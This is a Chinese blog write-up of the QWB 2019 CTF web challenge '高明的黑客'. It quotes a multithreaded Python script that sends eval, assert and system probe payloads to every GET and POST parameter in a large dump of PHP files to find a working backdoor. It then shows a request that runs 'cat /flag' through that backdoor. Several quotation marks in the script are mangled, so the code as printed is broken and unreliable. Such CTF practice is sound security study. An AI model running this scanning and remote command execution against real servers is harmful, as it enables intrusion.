[强网杯 2019] web题-高明的黑客

复现环境:buuoj.cn

在这里插入图片描述
下载下来的源码很大,大到让人傻掉
在这里插入图片描述
看了下大佬的wp 是说找出这些源码中所有的GET和POST请求,模拟请求一遍,看看那个能RCE能够使用。

这里贴出赵师傅的Python脚本 膜一波

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_GET[‘", start) + 1)
        var = str[str.find("$_GET[‘", start) + 7: pos2]
        start = pos2 + 1

        params[var] = ‘echo("glzjin");# print(var)

    start = 0
    data = {}
    while str.find("$_POST[‘", start) != -1:
        pos2 = str.find("‘]", str.find("$_POST[‘", start) + 1)
        var = str[str.find("$_POST[‘", start) + 8: pos2]
        start = pos2 + 1

        data[var] = ‘echo("glzjin");# print(var)

    # eval test
    r = session.post(‘http://localhost:11180/web2/+ file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post(‘http://localhost:11180/web2/+ file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = ‘echo glzjin‘

    for i in data:
        data[i] = ‘echo glzjin‘

    r = session.post(‘http://localhost:11180/web2/+ file, data=data, params=params)
    if r.text.find(‘glzjin‘) != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

tql!

跑出来以后直接查看
xk0SzyKwfzw.php?Efa5BVG=cat /flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值